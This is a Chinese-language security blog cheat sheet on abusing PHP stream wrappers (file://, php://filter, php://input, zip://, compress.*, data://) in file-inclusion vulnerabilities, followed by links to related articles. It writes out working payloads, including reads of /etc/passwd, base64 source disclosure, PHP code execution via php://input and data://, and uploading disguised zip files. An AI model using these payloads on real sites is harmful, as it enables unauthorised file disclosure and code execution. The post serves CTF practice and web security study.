【汇总】PHP 伪协议 利用
日期:2019-07-28 21:24:36
更新:
作者:Bay0net
介绍:
0x01、基本信息
文件包含函数
include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()
file()
环境概要
PHP 配置文件: php.ini
默认路径: /etc/php5/apache2/php.ini
具体要求:
allow_url_fopen=on:默认开启,该选项为 on 便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。
allow_url_include=on:默认关闭,该选项为 on 便是允许包含 URL 对象文件等。
0x02、伪协议
file://协议
该协议在双 off 的情况下也可以正常使用;
?page=file:///etc/passwd
?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://协议
不需要开启 allow_url_fopen
下面的几个需要开启 allow_url_fopen
php://input
php://stdin
php://memory
php://temp
php://filter 读文件
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
在双 off 的情况下也可以正常使用,用于读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。
?page=php://filter/read=convert.base64-encode/resource=file1.php
php://input 命令执行
环境:
- allow_url_fopen :off/on
- allow_url_include:on
注:当 enctype="multipart/form-data" 时,php://input 是无效的。
payload:
url: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
post: <?php phpinfo(); ?>

zip:// 压缩文件
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- zip://archive.zip#dir/file.txt
- zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
实例
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
bzip2://协议
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- compress.bzip2://file.bz2
实例
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
zlib://协议
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- compress.zlib://file.gz
实例
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
data://
环境:
- allow_url_fopen :on
- allow_url_include:on
实例
# 明文
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
# base64 编码
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x03、Reference
php伪协议实现命令执行的七种姿势 - FreeBuf专栏·潜心学习的小白帽
【汇总】PHP 伪协议 利用的更多相关文章
- CTF中常用的php伪协议利用
1.file:// 作用: 用于访问文件(绝对路径.相对路径.网络路径) 示例: http://www.xx.com?file=file:///etc/passsword 2.php:// 作用:访问 ...
- 配合php伪协议利用文件包含漏洞
文章来源: https://blog.csdn.net/zpy1998zpy/article/details/80598768?utm_medium=distribute.pc_relevant.no ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
- php 伪协议探究
0x01序 PHP伪协议探究 php中支持的伪协议有下面这么多 file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs p ...
- [WEB安全]PHP伪协议总结
0x01 简介 首先来看一下有哪些文件包含函数: include.require.include_once.require_once.highlight_file show_source .readf ...
- [WEB安全]SSRF中URL的伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议 0x01 类型 file:/// dict:// sftp:// ldap:// tftp:// gopher:// file: ...
- CTF伪协议+preg_replace()函数的代码执行
一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
- php伪协议分析与CTF例题讲解
本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主) 一,php:// 访问输入 ...
随机推荐
- zabbix的nginx监控+邮件报警
nginx监控 下载nginx的监控模板
- 多线程与UI操作(二)
为了让程序尽快响应用户操作,在开发Windows应用程序时经常会使用到线程.对于耗时的操作如果不使用线程将会是UI界面长时间处于停滞状态,这种情况是用户非常不愿意看到的,在这种情况下我们希望使用线程来 ...
- Summer training round2 #6 (Training #22)
A:二分答案 如果中位数比目前的大就right=mid-1 else left=mid+1 C!:几何 G:优先队列贪心 #include <bits/stdc++.h> using na ...
- hadoop常见命令
常用命令 启动Hadoop 进入HADOOP_HOME目录. 执行sh bin/start-all.sh 关闭Hadoop 进入HADOOP_HOME目录. 执行sh bin/stop-all.sh ...
- 【HDU6709】Fishing
题目大意:有 N 条鱼,每条鱼都有钓鱼和烤鱼的时间,钓鱼的时间均相同,每条鱼都有自己的烤鱼时间,一次只能烤一条鱼,且不能间断.现要求通过某种顺序将所有的鱼钓上来并烤完,求最小的时间是多少. 题解: 对 ...
- window下,nodejs安装http-server,并开启HTTP服务器
1.下载nodejs 官方下载地址:https://nodejs.org/en/ 2.在cmd命令中,输入node -v 输入出版本号,代表安装成功. 3.输入 npm install http-s ...
- IPC 进程间通信方式——共享内存
共享内存 共享内存区域是被多个进程共享的一部分物理内存. 多个进程都可以把共享内存映射到自己的虚拟空间.所有用户空间的进程要操作共享内存,都要将其映射到自己的虚拟空间,通过映射的虚拟内存空间地址去操作 ...
- c#图像处理的简单算法
原文链接:https://blog.csdn.net/wchstrife/article/details/78984735 使用C#进行图像处理前言之前一直认为图像处理是一件很高大上的事情,在一门选修 ...
- C# 扩展方法——mysql-dapper(MySqlMapperExtensions)
其他扩展方法详见:https://www.cnblogs.com/zhuanjiao/p/12060937.html 反射比较耗费性能,反射得到属性进行缓存 根据反射得到的属性,进行动态拼接sql语句 ...
- linux运维、架构之路-Kubernetes离线集群部署-无坑
一.部署环境介绍 1.服务器规划 系统 IP地址 主机名 CPU 内存 CentOS 7.5 192.168.56.11 k8s-node1 2C 2G CentOS 7.5 192.168.56 ...